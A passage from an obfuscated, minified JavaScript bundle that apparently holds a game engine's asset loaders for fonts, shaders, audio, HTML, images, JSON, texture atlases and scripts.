_0x14c115, _0x2cf3f3); return this; }), _0x2bd7bb['exports'] = _0x4faca1; }, 0x1567a: (_0x35d6e8, _0x1dce61, _0x1e44cc) => { var _0x2a3cce = _0x1e44cc(0x145db), _0x5a93c8 = _0x1e44cc(0x5d62), _0x590bd1 = _0x1e44cc(0xa153), _0x40cc2b = _0x1e44cc(0x12173), _0x2c9605 = _0x1e44cc(0x17534), _0x5cf2eb = _0x1e44cc(0x18034), _0x17f265 = _0x1e44cc(0xa0fc), _0x41134c = new _0x2a3cce({ 'Extends': _0x590bd1, 'initialize': function (_0x214646, _0x455cf6, _0x4cc619, _0x1b5627, _0x24fed4, _0x525cc2) { var _0x5ab91b = 'ttf'; if (_0x17f265(_0x455cf6)) { var _0x62db25 = _0x455cf6; _0x455cf6 = _0x2c9605(_0x62db25, 'key'), _0x4cc619 = _0x2c9605(_0x62db25, 'url'), _0x1b5627 = _0x2c9605(_0x62db25, 'format', 'truetype'), _0x24fed4 = _0x2c9605(_0x62db25, 'descriptors', null), _0x525cc2 = _0x2c9605(_0x62db25, 'xhrSettings'), _0x5ab91b = _0x2c9605(_0x62db25, 'extension', _0x5ab91b); } else void 0x0 === _0x1b5627 && (_0x1b5627 = 'truetype'); var _0x4f5c72 = { 'type': 'font', 'cache': !0x1, 'extension': _0x5ab91b, 'responseType': 'text', 'key': _0x455cf6, 'url': _0x4cc619, 'xhrSettings': _0x525cc2 }; _0x590bd1['call'](this, _0x214646, _0x4f5c72), this['data'] = { 'format': _0x1b5627, 'descriptors': _0x24fed4 }, this['state'] = _0x5a93c8['FILE_POPULATED']; }, 'onProcess': function () { var _0x45c807; this['state'] = _0x5a93c8['FILE_PROCESSING'], this['src'] = _0x5cf2eb(this, this['loader']['baseURL']); var _0xded6e1 = this['key'], _0x282704 = 'url(' + this['src'] + ')\x20format(\x22' + this['data']['format'] + '\x22)'; _0x45c807 = this['data']['descriptors'] ? new FontFace(_0xded6e1, _0x282704, this['data']['descriptors']) : new FontFace(_0xded6e1, _0x282704); var _0x5a4ebd = this; _0x45c807['load']()['then'](function () { document['fonts']['add'](_0x45c807), document['body']['classList']['add']('fonts-loaded'), _0x5a4ebd['onProcessComplete'](); })['catch'](function () { _0x5a4ebd['onProcessComplete'](); }); } }); _0x40cc2b['register']('font', function (_0x300edd, _0x40514f, _0x274ce4, _0x43ee5e, _0x3a929a) { if (Array['isArray'](_0x300edd)) { for (var _0x146bb0 = 0x0; _0x146bb0 < _0x300edd['length']; _0x146bb0++)this['addFile'](new _0x41134c(this, _0x300edd[_0x146bb0])); } else this['addFile'](new _0x41134c(this, _0x300edd, _0x40514f, _0x274ce4, _0x43ee5e, _0x3a929a)); return this; }), _0x35d6e8['exports'] = _0x41134c; }, 0xbb3b: (_0xaedccc, _0x233975, _0x6a9015) => { var _0x183c7b = _0x6a9015(0x145db), _0x2d9381 = _0x6a9015(0x5d62), _0x14521f = _0x6a9015(0xa153), _0x407210 = _0x6a9015(0x12173), _0x5da0ad = _0x6a9015(0x17534), _0x5cf8fe = _0x6a9015(0xa0fc), _0x59079a = _0x6a9015(0x120a6), _0x44071e = new _0x183c7b({ 'Extends': _0x14521f, 'initialize': function (_0x19ccd3, _0x441975, _0x56fc9c, _0x31fb18, _0x412806) { var _0x35c97b = 'glsl'; if (_0x5cf8fe(_0x441975)) { var _0x25c1b1 = _0x441975; _0x441975 = _0x5da0ad(_0x25c1b1, 'key'), _0x56fc9c = _0x5da0ad(_0x25c1b1, 'url'), _0x31fb18 = _0x5da0ad(_0x25c1b1, 'shaderType', 'fragment'), _0x412806 = _0x5da0ad(_0x25c1b1, 'xhrSettings'), _0x35c97b = _0x5da0ad(_0x25c1b1, 'extension', _0x35c97b); } else void 0x0 === _0x31fb18 && (_0x31fb18 = 'fragment'); var _0x2d5f94 = { 'type': 'glsl', 'cache': _0x19ccd3['cacheManager']['shader'], 'extension': _0x35c97b, 'responseType': 'text', 'key': _0x441975, 'url': _0x56fc9c, 'config': { 'shaderType': _0x31fb18 }, 'xhrSettings': _0x412806 }; _0x14521f['call'](this, _0x19ccd3, _0x2d5f94); }, 'onProcess': function () { this['state'] = _0x2d9381['FILE_PROCESSING'], this['data'] = this['xhrLoader']['responseText'], this['onProcessComplete'](); }, 'addToCache': function () { var _0x5e034d = this['data']['split']('\x0a'), _0x1a857e = this['extractBlock'](_0x5e034d, 0x0); if (_0x1a857e) for (; _0x1a857e;) { var _0x3a2b64 = this['getShaderName'](_0x1a857e['header']), _0x475a16 = this['getShaderType'](_0x1a857e['header']), _0x78b726 = this['getShaderUniforms'](_0x1a857e['header']), _0x52cf2c = _0x1a857e['shader']; if (this['cache']['has'](_0x3a2b64)) { var _0x9e472 = this['cache']['get'](_0x3a2b64); 'fragment' === _0x475a16 ? _0x9e472['fragmentSrc'] = _0x52cf2c : _0x9e472['vertexSrc'] = _0x52cf2c, _0x9e472['uniforms'] || (_0x9e472['uniforms'] = _0x78b726); } else 'fragment' === _0x475a16 ? this['cache']['add'](_0x3a2b64, new _0x59079a(_0x3a2b64, _0x52cf2c, '', _0x78b726)) : this['cache']['add'](_0x3a2b64, new _0x59079a(_0x3a2b64, '', _0x52cf2c, _0x78b726)); _0x1a857e = this['extractBlock'](_0x5e034d, _0x1a857e['offset']); } else 'fragment' === this['config']['shaderType'] ? this['cache']['add'](this['key'], new _0x59079a(this['key'], this['data'])) : this['cache']['add'](this['key'], new _0x59079a(this['key'], '', this['data'])); }, 'getShaderName': function (_0x1087eb) { for (var _0x535810 = 0x0; _0x535810 < _0x1087eb['length']; _0x535810++) { var _0x598fcb = _0x1087eb[_0x535810]['trim'](); if ('name:' === _0x598fcb['substring'](0x0, 0x5)) return _0x598fcb['substring'](0x5)['trim'](); } return this['key']; }, 'getShaderType': function (_0x40c2f7) { for (var _0x1b3c44 = 0x0; _0x1b3c44 < _0x40c2f7['length']; _0x1b3c44++) { var _0x16ee92 = _0x40c2f7[_0x1b3c44]['trim'](); if ('type:' === _0x16ee92['substring'](0x0, 0x5)) return _0x16ee92['substring'](0x5)['trim'](); } return this['config']['shaderType']; }, 'getShaderUniforms': function (_0x3786f4) { for (var _0x3e463e = {}, _0x1d4d1e = 0x0; _0x1d4d1e < _0x3786f4['length']; _0x1d4d1e++) { var _0x4edd72 = _0x3786f4[_0x1d4d1e]['trim'](); if ('uniform.' === _0x4edd72['substring'](0x0, 0x8)) { var _0x5f2211 = _0x4edd72['indexOf'](':'); if (_0x5f2211) { var _0x46ddc7 = _0x4edd72['substring'](0x8, _0x5f2211); try { _0x3e463e[_0x46ddc7] = JSON['parse'](_0x4edd72['substring'](_0x5f2211 + 0x1)); } catch (_0x183f90) { } } } } return _0x3e463e; }, 'extractBlock': function (_0x1ec614, _0x371654) { for (var _0x3b5af9 = -0x1, _0x451a91 = -0x1, _0x1878c6 = -0x1, _0x51101e = !0x1, _0x17dde2 = !0x1, _0x634a43 = [], _0x1d0873 = [], _0x531531 = _0x371654; _0x531531 < _0x1ec614['length']; _0x531531++) { var _0x120134 = _0x1ec614[_0x531531]['trim'](); if ('---' === _0x120134) { if (-0x1 === _0x3b5af9) _0x3b5af9 = _0x531531, _0x51101e = !0x0; else { if (!_0x51101e) { _0x17dde2 = !0x1; break; } _0x451a91 = _0x531531, _0x51101e = !0x1, _0x17dde2 = !0x0; } } else _0x51101e ? _0x634a43['push'](_0x120134) : _0x17dde2 && (_0x1d0873['push'](_0x120134), _0x1878c6 = _0x531531); } return _0x51101e || -0x1 === _0x451a91 ? null : { 'header': _0x634a43, 'shader': _0x1d0873['join']('\x0a'), 'offset': _0x1878c6 }; } }); _0x407210['register']('glsl', function (_0x28961e, _0x58eb44, _0x299167, _0x4bee59) { if (Array['isArray'](_0x28961e)) { for (var _0x434bae = 0x0; _0x434bae < _0x28961e['length']; _0x434bae++)this['addFile'](new _0x44071e(this, _0x28961e[_0x434bae])); } else this['addFile'](new _0x44071e(this, _0x28961e, _0x58eb44, _0x299167, _0x4bee59)); return this; }), _0xaedccc['exports'] = _0x44071e; }, 0x15e95: (_0x227881, _0x6f01ce, _0x4238da) => { var _0x5c7ad2 = _0x4238da(0x145db), _0x36302e = _0x4238da(0xd673), _0xb1a90e = _0x4238da(0xa153), _0x9a62e0 = _0x4238da(0x17534), _0x4e8e1f = _0x4238da(0x18034), _0x1b3ae1 = _0x4238da(0xa0fc), _0x12f9a5 = new _0x5c7ad2({ 'Extends': _0xb1a90e, 'initialize': function (_0x3c5375, _0x3a4ddd, _0x470be1, _0x592078) { if (_0x1b3ae1(_0x3a4ddd)) { var _0x4b207f = _0x3a4ddd; _0x3a4ddd = _0x9a62e0(_0x4b207f, 'key'), _0x592078 = _0x9a62e0(_0x4b207f, 'config', _0x592078); } var _0x1488cf = { 'type': 'audio', 'cache': _0x3c5375['cacheManager']['audio'], 'extension': _0x470be1['type'], 'key': _0x3a4ddd, 'url': _0x470be1['url'], 'config': _0x592078 }; _0xb1a90e['call'](this, _0x3c5375, _0x1488cf), this['locked'] = 'ontouchstart' in window, this['loaded'] = !0x1, this['filesLoaded'] = 0x0, this['filesTotal'] = 0x0; }, 'onLoad': function () { this['loaded'] || (this['loaded'] = !0x0, this['loader']['nextFile'](this, !0x0)); }, 'onError': function () { for (var _0x5b2a46 = 0x0; _0x5b2a46 < this['data']['length']; _0x5b2a46++) { var _0x392f05 = this['data'][_0x5b2a46]; _0x392f05['oncanplaythrough'] = null, _0x392f05['onerror'] = null; } this['loader']['nextFile'](this, !0x1); }, 'onProgress': function (_0x140695) { var _0x2fc849 = _0x140695['target']; _0x2fc849['oncanplaythrough'] = null, _0x2fc849['onerror'] = null, this['filesLoaded']++, this['percentComplete'] = Math['min'](this['filesLoaded'] / this['filesTotal'], 0x1), this['loader']['emit'](_0x36302e['FILE_PROGRESS'], this, this['percentComplete']), this['filesLoaded'] === this['filesTotal'] && this['onLoad'](); }, 'load': function () { this['data'] = []; var _0x2ff9d7 = this['config'] && this['config']['instances'] || 0x1; this['filesTotal'] = _0x2ff9d7, this['filesLoaded'] = 0x0, this['percentComplete'] = 0x0; for (var _0x3bb61a = 0x0; _0x3bb61a < _0x2ff9d7; _0x3bb61a++) { var _0xd34e23 = new Audio(); _0xd34e23['dataset'] || (_0xd34e23['dataset'] = {}), _0xd34e23['dataset']['name'] = this['key'] + ('0' + _0x3bb61a)['slice'](-0x2), _0xd34e23['dataset']['used'] = 'false', this['locked'] ? _0xd34e23['dataset']['locked'] = 'true' : (_0xd34e23['dataset']['locked'] = 'false', _0xd34e23['preload'] = 'auto', _0xd34e23['oncanplaythrough'] = this['onProgress']['bind'](this), _0xd34e23['onerror'] = this['onError']['bind'](this)), this['data']['push'](_0xd34e23); } for (_0x3bb61a = 0x0; _0x3bb61a < this['data']['length']; _0x3bb61a++)(_0xd34e23 = this['data'][_0x3bb61a])['src'] = _0x4e8e1f(this, this['loader']['baseURL']), this['locked'] || _0xd34e23['load'](); this['locked'] && setTimeout(this['onLoad']['bind'](this)); } }); _0x227881['exports'] = _0x12f9a5; }, 0x15996: (_0xf449a0, _0xaadd24, _0x413bd0) => { var _0x56a8b8 = _0x413bd0(0x145db), _0x536a57 = _0x413bd0(0x5d62), _0x30ad2e = _0x413bd0(0xa153), _0x27b1e2 = _0x413bd0(0x12173), _0x125095 = _0x413bd0(0x17534), _0x12696a = _0x413bd0(0xa0fc), _0x502ac4 = new _0x56a8b8({ 'Extends': _0x30ad2e, 'initialize': function (_0x244a9e, _0x141195, _0x4784de, _0x459cf6) { var _0x5efc12 = 'html'; if (_0x12696a(_0x141195)) { var _0x6d5466 = _0x141195; _0x141195 = _0x125095(_0x6d5466, 'key'), _0x4784de = _0x125095(_0x6d5466, 'url'), _0x459cf6 = _0x125095(_0x6d5466, 'xhrSettings'), _0x5efc12 = _0x125095(_0x6d5466, 'extension', _0x5efc12); } var _0x46467e = { 'type': 'text', 'cache': _0x244a9e['cacheManager']['html'], 'extension': _0x5efc12, 'responseType': 'text', 'key': _0x141195, 'url': _0x4784de, 'xhrSettings': _0x459cf6 }; _0x30ad2e['call'](this, _0x244a9e, _0x46467e); }, 'onProcess': function () { this['state'] = _0x536a57['FILE_PROCESSING'], this['data'] = this['xhrLoader']['responseText'], this['onProcessComplete'](); } }); _0x27b1e2['register']('html', function (_0x2beb84, _0xf32240, _0x318bd2) { if (Array['isArray'](_0x2beb84)) { for (var _0x479eb6 = 0x0; _0x479eb6 < _0x2beb84['length']; _0x479eb6++)this['addFile'](new _0x502ac4(this, _0x2beb84[_0x479eb6])); } else this['addFile'](new _0x502ac4(this, _0x2beb84, _0xf32240, _0x318bd2)); return this; }), _0xf449a0['exports'] = _0x502ac4; }, 0x3933: (_0xc0b2f, _0x2ede10, _0x360dbf) => { var _0x2c3401 = _0x360dbf(0x145db), _0x6c6bc4 = _0x360dbf(0x5d62), _0x5e98d1 = _0x360dbf(0xa153), _0x2fff5b = _0x360dbf(0x12173), _0x3c3203 = _0x360dbf(0x17534), _0x5569be = _0x360dbf(0xa0fc), _0x32d069 = new _0x2c3401({ 'Extends': _0x5e98d1, 'initialize': function (_0x28b456, _0x538989, _0x1e4521, _0x558248, _0x1d6f34, _0x2427e9) { void 0x0 === _0x558248 && (_0x558248 = 0x200), void 0x0 === _0x1d6f34 && (_0x1d6f34 = 0x200); var _0x1f8ec3 = 'html'; if (_0x5569be(_0x538989)) { var _0x2dc073 = _0x538989; _0x538989 = _0x3c3203(_0x2dc073, 'key'), _0x1e4521 = _0x3c3203(_0x2dc073, 'url'), _0x2427e9 = _0x3c3203(_0x2dc073, 'xhrSettings'), _0x1f8ec3 = _0x3c3203(_0x2dc073, 'extension', _0x1f8ec3), _0x558248 = _0x3c3203(_0x2dc073, 'width', _0x558248), _0x1d6f34 = _0x3c3203(_0x2dc073, 'height', _0x1d6f34); } var _0x1b24e8 = { 'type': 'html', 'cache': _0x28b456['textureManager'], 'extension': _0x1f8ec3, 'responseType': 'text', 'key': _0x538989, 'url': _0x1e4521, 'xhrSettings': _0x2427e9, 'config': { 'width': _0x558248, 'height': _0x1d6f34 } }; _0x5e98d1['call'](this, _0x28b456, _0x1b24e8); }, 'onProcess': function () { this['state'] = _0x6c6bc4['FILE_PROCESSING']; var _0x44844f = this['config']['width'], _0x368971 = this['config']['height'], _0x2e9853 = []; _0x2e9853['push']('<svg\x20width=\x22' + _0x44844f + 'px\x22\x20height=\x22' + _0x368971 + 'px\x22\x20viewBox=\x220\x200\x20' + _0x44844f + '\x20' + _0x368971 + '\x22\x20xmlns=\x22http://www.w3.org/2000/svg\x22>'), _0x2e9853['push']('<foreignObject\x20width=\x22100%\x22\x20height=\x22100%\x22>'), _0x2e9853['push']('<body\x20xmlns=\x22http://www.w3.org/1999/xhtml\x22>'), _0x2e9853['push'](this['xhrLoader']['responseText']), _0x2e9853['push']('</body>'), _0x2e9853['push']('</foreignObject>'), _0x2e9853['push']('</svg>'); var _0x1b66aa = [_0x2e9853['join']('\x0a')], _0x51695c = this; try { var _0x9dbd8d = new window['Blob'](_0x1b66aa, { 'type': 'image/svg+xml;charset=utf-8' }); } catch (_0x4b0932) { return _0x51695c['state'] = _0x6c6bc4['FILE_ERRORED'], void _0x51695c['onProcessComplete'](); } this['data'] = new Image(), this['data']['crossOrigin'] = this['crossOrigin'], this['data']['onload'] = function () { _0x5e98d1['revokeObjectURL'](_0x51695c['data']), _0x51695c['onProcessComplete'](); }, this['data']['onerror'] = function () { _0x5e98d1['revokeObjectURL'](_0x51695c['data']), _0x51695c['onProcessError'](); }, _0x5e98d1['createObjectURL'](this['data'], _0x9dbd8d, 'image/svg+xml'); }, 'addToCache': function () { this['cache']['addImage'](this['key'], this['data']); } }); _0x2fff5b['register']('htmlTexture', function (_0xb09dd7, _0x14f18f, _0x4c08e6, _0x1be188, _0x7c1942) { if (Array['isArray'](_0xb09dd7)) { for (var _0x2438ae = 0x0; _0x2438ae < _0xb09dd7['length']; _0x2438ae++)this['addFile'](new _0x32d069(this, _0xb09dd7[_0x2438ae])); } else this['addFile'](new _0x32d069(this, _0xb09dd7, _0x14f18f, _0x4c08e6, _0x1be188, _0x7c1942)); return this; }), _0xc0b2f['exports'] = _0x32d069; }, 0x4c5e: (_0x33ed1b, _0x460dbf, _0x16c70f) => { var _0x11f92e = _0x16c70f(0x145db), _0x236022 = _0x16c70f(0x5d62), _0x520fb9 = _0x16c70f(0xa153), _0x405ad0 = _0x16c70f(0x12173), _0x5e9869 = _0x16c70f(0x17534), _0x4db17c = _0x16c70f(0xa0fc), _0x1826ff = _0x16c70f(0x18034), _0x4262de = new _0x11f92e({ 'Extends': _0x520fb9, 'initialize': function _0x496a6f(_0x5a2825, _0x2b3408, _0xe2a2e, _0x179d27, _0x431cb2) { var _0xad8c72, _0x1f7b89 = 'png'; if (_0x4db17c(_0x2b3408)) { var _0x864cc5 = _0x2b3408; _0x2b3408 = _0x5e9869(_0x864cc5, 'key'), _0xe2a2e = _0x5e9869(_0x864cc5, 'url'), _0xad8c72 = _0x5e9869(_0x864cc5, 'normalMap'), _0x179d27 = _0x5e9869(_0x864cc5, 'xhrSettings'), _0x1f7b89 = _0x5e9869(_0x864cc5, 'extension', _0x1f7b89), _0x431cb2 = _0x5e9869(_0x864cc5, 'frameConfig'); } Array['isArray'](_0xe2a2e) && (_0xad8c72 = _0xe2a2e[0x1], _0xe2a2e = _0xe2a2e[0x0]); var _0x22a1c6 = { 'type': 'image', 'cache': _0x5a2825['textureManager'], 'extension': _0x1f7b89, 'responseType': 'blob', 'key': _0x2b3408, 'url': _0xe2a2e, 'xhrSettings': _0x179d27, 'config': _0x431cb2 }; if (_0x520fb9['call'](this, _0x5a2825, _0x22a1c6), _0xad8c72) { var _0x3c4e19 = new _0x496a6f(_0x5a2825, this['key'], _0xad8c72, _0x179d27, _0x431cb2); _0x3c4e19['type'] = 'normalMap', this['setLink'](_0x3c4e19), _0x5a2825['addFile'](_0x3c4e19); } this['useImageElementLoad'] = 'HTMLImageElement' === _0x5a2825['imageLoadType'] || this['base64'], this['useImageElementLoad'] && (this['load'] = this['loadImage'], this['onProcess'] = this['onProcessImage']); }, 'onProcess': function () { this['state'] = _0x236022['FILE_PROCESSING'], this['data'] = new Image(), this['data']['crossOrigin'] = this['crossOrigin']; var _0x1697f4 = this; this['data']['onload'] = function () { _0x520fb9['revokeObjectURL'](_0x1697f4['data']), _0x1697f4['onProcessComplete'](); }, this['data']['onerror'] = function () { _0x520fb9['revokeObjectURL'](_0x1697f4['data']), _0x1697f4['onProcessError'](); }, _0x520fb9['createObjectURL'](this['data'], this['xhrLoader']['response'], 'image/png'); }, 'onProcessImage': function () { var _0x346b51 = this['state']; this['state'] = _0x236022['FILE_PROCESSING'], _0x346b51 === _0x236022['FILE_LOADED'] ? this['onProcessComplete']() : this['onProcessError'](); }, 'loadImage': function () { this['state'] = _0x236022['FILE_LOADING'], this['src'] = _0x1826ff(this, this['loader']['baseURL']), this['data'] = new Image(), this['data']['crossOrigin'] = this['crossOrigin']; var _0xc87899 = this; this['data']['onload'] = function () { _0xc87899['state'] = _0x236022['FILE_LOADED'], _0xc87899['loader']['nextFile'](_0xc87899, !0x0); }, this['data']['onerror'] = function () { _0xc87899['loader']['nextFile'](_0xc87899, !0x1); }, this['data']['src'] = this['src']; }, 'addToCache': function () { var _0x9b5366 = this['linkFile']; _0x9b5366 ? _0x9b5366['state'] >= _0x236022['FILE_COMPLETE'] && ('spritesheet' === _0x9b5366['type'] ? _0x9b5366['addToCache']() : 'normalMap' === this['type'] ? this['cache']['addImage'](this['key'], _0x9b5366['data'], this['data']) : this['cache']['addImage'](this['key'], this['data'], _0x9b5366['data'])) : this['cache']['addImage'](this['key'], this['data']); } }); _0x405ad0['register']('image', function (_0x1c72eb, _0x35a3cb, _0xe8d3b1) { if (Array['isArray'](_0x1c72eb)) { for (var _0xc6287c = 0x0; _0xc6287c < _0x1c72eb['length']; _0xc6287c++)this['addFile'](new _0x4262de(this, _0x1c72eb[_0xc6287c])); } else this['addFile'](new _0x4262de(this, _0x1c72eb, _0x35a3cb, _0xe8d3b1)); return this; }), _0x33ed1b['exports'] = _0x4262de; }, 0x206: (_0x1ce6b6, _0x137106, _0x48e700) => { var _0x4e08f3 = _0x48e700(0x145db), _0x3f7a25 = _0x48e700(0x5d62), _0x2b8ee6 = _0x48e700(0xa153), _0x31ce7f = _0x48e700(0x12173), _0xcbe765 = _0x48e700(0x17534), _0xaa3298 = _0x48e700(0x8952), _0x41f63c = _0x48e700(0xa0fc), _0x1b7d9d = new _0x4e08f3({ 'Extends': _0x2b8ee6, 'initialize': function (_0x552cff, _0x4d06e8, _0x3d8705, _0x29e5c5, _0x101b78) { var _0x5a489f = 'json'; if (_0x41f63c(_0x4d06e8)) { var _0x2dcdcb = _0x4d06e8; _0x4d06e8 = _0xcbe765(_0x2dcdcb, 'key'), _0x3d8705 = _0xcbe765(_0x2dcdcb, 'url'), _0x29e5c5 = _0xcbe765(_0x2dcdcb, 'xhrSettings'), _0x5a489f = _0xcbe765(_0x2dcdcb, 'extension', _0x5a489f), _0x101b78 = _0xcbe765(_0x2dcdcb, 'dataKey', _0x101b78); } var _0x298717 = { 'type': 'json', 'cache': _0x552cff['cacheManager']['json'], 'extension': _0x5a489f, 'responseType': 'text', 'key': _0x4d06e8, 'url': _0x3d8705, 'xhrSettings': _0x29e5c5, 'config': _0x101b78 }; _0x2b8ee6['call'](this, _0x552cff, _0x298717), _0x41f63c(_0x3d8705) && (this['data'] = _0x101b78 ? _0xaa3298(_0x3d8705, _0x101b78) : _0x3d8705, this['state'] = _0x3f7a25['FILE_POPULATED']); }, 'onProcess': function () { if (this['state'] !== _0x3f7a25['FILE_POPULATED']) { this['state'] = _0x3f7a25['FILE_PROCESSING']; try { var _0x336d16 = JSON['parse'](this['xhrLoader']['responseText']); } catch (_0x133793) { throw this['onProcessError'](), _0x133793; } var _0x18209a = this['config']; this['data'] = 'string' == typeof _0x18209a ? _0xaa3298(_0x336d16, _0x18209a, _0x336d16) : _0x336d16; } this['onProcessComplete'](); } }); _0x31ce7f['register']('json', function (_0x30c1c2, _0x352283, _0x48e237, _0x4de4bc) { if (Array['isArray'](_0x30c1c2)) { for (var _0x1ad50c = 0x0; _0x1ad50c < _0x30c1c2['length']; _0x1ad50c++)this['addFile'](new _0x1b7d9d(this, _0x30c1c2[_0x1ad50c])); } else this['addFile'](new _0x1b7d9d(this, _0x30c1c2, _0x352283, _0x4de4bc, _0x48e237)); return this; }), _0x1ce6b6['exports'] = _0x1b7d9d; }, 0xe7bf: (_0x54d6a9, _0x502464, _0x3addf4) => { var _0x3af5f0 = _0x3addf4(0x145db), _0x209927 = _0x3addf4(0x12173), _0x3f8caf = _0x3addf4(0x17534), _0x32119f = _0x3addf4(0x4c5e), _0x26c531 = _0x3addf4(0xa0fc), _0x183085 = _0x3addf4(0x206), _0x2d2a2c = _0x3addf4(0x673e), _0x45afd9 = new _0x3af5f0({ 'Extends': _0x2d2a2c, 'initialize': function (_0x10d158, _0x4db41b, _0x246524, _0x5f3a55, _0x232f9c, _0x3a4938, _0x4eb005) { if (_0x26c531(_0x4db41b)) { var _0x529e22 = _0x4db41b; _0x4db41b = _0x3f8caf(_0x529e22, 'key'), _0x246524 = _0x3f8caf(_0x529e22, 'url', !0x1) ? _0x3f8caf(_0x529e22, 'url') : _0x3f8caf(_0x529e22, 'atlasURL'), _0x3a4938 = _0x3f8caf(_0x529e22, 'xhrSettings'), _0x5f3a55 = _0x3f8caf(_0x529e22, 'path'), _0x232f9c = _0x3f8caf(_0x529e22, 'baseURL'), _0x4eb005 = _0x3f8caf(_0x529e22, 'textureXhrSettings'); } var _0x202cf8 = new _0x183085(_0x10d158, _0x4db41b, _0x246524, _0x3a4938); _0x2d2a2c['call'](this, _0x10d158, 'multiatlas', _0x4db41b, [_0x202cf8]), this['config']['path'] = _0x5f3a55, this['config']['baseURL'] = _0x232f9c, this['config']['textureXhrSettings'] = _0x4eb005; }, 'onFileComplete': function (_0xaf701) { if (-0x1 !== this['files']['indexOf'](_0xaf701) && (this['pending']--, 'json' === _0xaf701['type'] && _0xaf701['data']['hasOwnProperty']('textures'))) { var _0x48fc85 = _0xaf701['data']['textures'], _0x2dd3c2 = this['config'], _0x39cd95 = this['loader'], _0x1013ef = _0x39cd95['baseURL'], _0x5e3259 = _0x39cd95['path'], _0x463bf2 = _0x39cd95['prefix'], _0x4f30b9 = _0x3f8caf(_0x2dd3c2, 'baseURL', this['baseURL']), _0x3e9c5b = _0x3f8caf(_0x2dd3c2, 'path', this['path']), _0x45779c = _0x3f8caf(_0x2dd3c2, 'prefix', this['prefix']), _0xbcdba9 = _0x3f8caf(_0x2dd3c2, 'textureXhrSettings'); _0x39cd95['setBaseURL'](_0x4f30b9), _0x39cd95['setPath'](_0x3e9c5b), _0x39cd95['setPrefix'](_0x45779c); for (var _0x4240bf = 0x0; _0x4240bf < _0x48fc85['length']; _0x4240bf++) { var _0xfc0169 = _0x48fc85[_0x4240bf]['image'], _0x34e099 = 'MA' + this['multiKeyIndex'] + '_' + _0xfc0169, _0x2054bb = new _0x32119f(_0x39cd95, _0x34e099, _0xfc0169, _0xbcdba9); if (this['addToMultiFile'](_0x2054bb), _0x39cd95['addFile'](_0x2054bb), _0x48fc85[_0x4240bf]['normalMap']) { var _0x5c931b = new _0x32119f(_0x39cd95, _0x34e099, _0x48fc85[_0x4240bf]['normalMap'], _0xbcdba9); _0x5c931b['type'] = 'normalMap', _0x2054bb['setLink'](_0x5c931b), this['addToMultiFile'](_0x5c931b), _0x39cd95['addFile'](_0x5c931b); } } _0x39cd95['setBaseURL'](_0x1013ef), _0x39cd95['setPath'](_0x5e3259), _0x39cd95['setPrefix'](_0x463bf2); } }, 'addToCache': function () { if (this['isReadyToProcess']()) { for (var _0x56aa58 = this['files'][0x0], _0x3f4570 = [], _0x494a4b = [], _0x435914 = [], _0x3a5cd0 = 0x1; _0x3a5cd0 < this['files']['length']; _0x3a5cd0++) { var _0x21f9e8 = this['files'][_0x3a5cd0]; if ('normalMap' !== _0x21f9e8['type']) for (var _0x29b5df = _0x21f9e8['key']['indexOf']('_'), _0x54c693 = _0x21f9e8['key']['substr'](_0x29b5df + 0x1), _0x2b96ac = _0x21f9e8['data'], _0x345a32 = 0x0; _0x345a32 < _0x56aa58['data']['textures']['length']; _0x345a32++) { var _0x2f6aad = _0x56aa58['data']['textures'][_0x345a32]; if (_0x2f6aad['image'] === _0x54c693) { _0x494a4b['push'](_0x2b96ac), _0x3f4570['push'](_0x2f6aad), _0x21f9e8['linkFile'] && _0x435914['push'](_0x21f9e8['linkFile']['data']); break; } } } 0x0 === _0x435914['length'] && (_0x435914 = void 0x0), this['loader']['textureManager']['addAtlasJSONArray'](this['key'], _0x494a4b, _0x3f4570, _0x435914), this['complete'] = !0x0; } } }); _0x209927['register']('multiatlas', function (_0x396d9c, _0x1278c8, _0x31023a, _0x1bf070, _0x20152f) { var _0x16784a; if (Array['isArray'](_0x396d9c)) { for (var _0x50520d = 0x0; _0x50520d < _0x396d9c['length']; _0x50520d++)_0x16784a = new _0x45afd9(this, _0x396d9c[_0x50520d]), this['addFile'](_0x16784a['files']); } else _0x16784a = new _0x45afd9(this, _0x396d9c, _0x1278c8, _0x31023a, _0x1bf070, _0x20152f), this['addFile'](_0x16784a['files']); return this; }), _0x54d6a9['exports'] = _0x45afd9; }, 0x183e1: (_0x5e6423, _0x2fb4e1, _0x313d54) => { var _0x56a6e2 = _0x313d54(0x145db), _0x874ab1 = _0x313d54(0x12173), _0x3f7164 = _0x313d54(0x17534), _0x5bbfbc = _0x313d54(0xa0fc), _0x33c583 = _0x313d54(0x673e), _0x3a039e = _0x313d54(0x8618), _0x356f13 = new _0x56a6e2({ 'Extends': _0x33c583, 'initialize': function (_0x58da19, _0x5721e9, _0xeb5911, _0xc450c4) { var _0x42f79d = 'js', _0x4e8c00 = []; if (_0x5bbfbc(_0x5721e9)) { var _0x249bdb = _0x5721e9; _0x5721e9 = _0x3f7164(_0x249bdb, 'key'), _0xeb5911 = _0x3f7164(_0x249bdb, 'url'), _0xc450c4 = _0x3f7164(_0x249bdb, 'xhrSettings'), _0x42f79d = _0x3f7164(_0x249bdb, 'extension', _0x42f79d); } Array['isArray'](_0xeb5911) || (_0xeb5911 = [_0xeb5911]); for (var _0x51d32f = 0x0; _0x51d32f < _0xeb5911['length']; _0x51d32f++) { var _0x2e1000 = new _0x3a039e(_0x58da19, { 'key': _0x5721e9 + '_' + _0x51d32f['toString'](), 'url': _0xeb5911[_0x51d32f], 'extension': _0x42f79d, 'xhrSettings': _0xc450c4 }); _0x2e1000['onProcess'] = function () { this['onProcessComplete'](); }, _0x4e8c00['push'](_0x2e1000); } _0x33c583['call'](this, _0x58da19, 'scripts', _0x5721e9, _0x4e8c00); }, 'addToCache': function () { if (this['isReadyToProcess']()) { for (var _0x5cb303 = 0x0; _0x5cb303 < this['files']['length']; _0x5cb303++) { var _0x5173f3 = this['files'][_0x5cb303]; _0x5173f3['data'] = document['createElement']('script'), _0x5173f3['data']['language'] = 'javascript', _0x5173f3['data']['type'] = 'text/javascript', _0x5173f3['data']['defer'] = !0x1, _0x5173f3['data']['text'] = _0x5173f3['xhrLoader']['responseText'], document['head']['appendChild'](_0x5173f3['data']); } this['complete'] = !0x0; } } }); _0x874ab1['register']('scripts', function (_0x41a3d0, _0x54b752, _0x46ff8f) { var _0x3ea34a; if (Array['isArray'](_0x41a3d0)) { for (var _0x5df090 = 0x0; _0x5df090 < _0x41a3d0['length']; _0x5df090++)_0x3ea34a = new _0x356f13(this, _0x41a3d0[_0x5df090]), this['addFile'](_0x3ea34a['files']); } else _0x3ea34a = new _0x356f13(this, _0x41a3d0, _0x54b752, 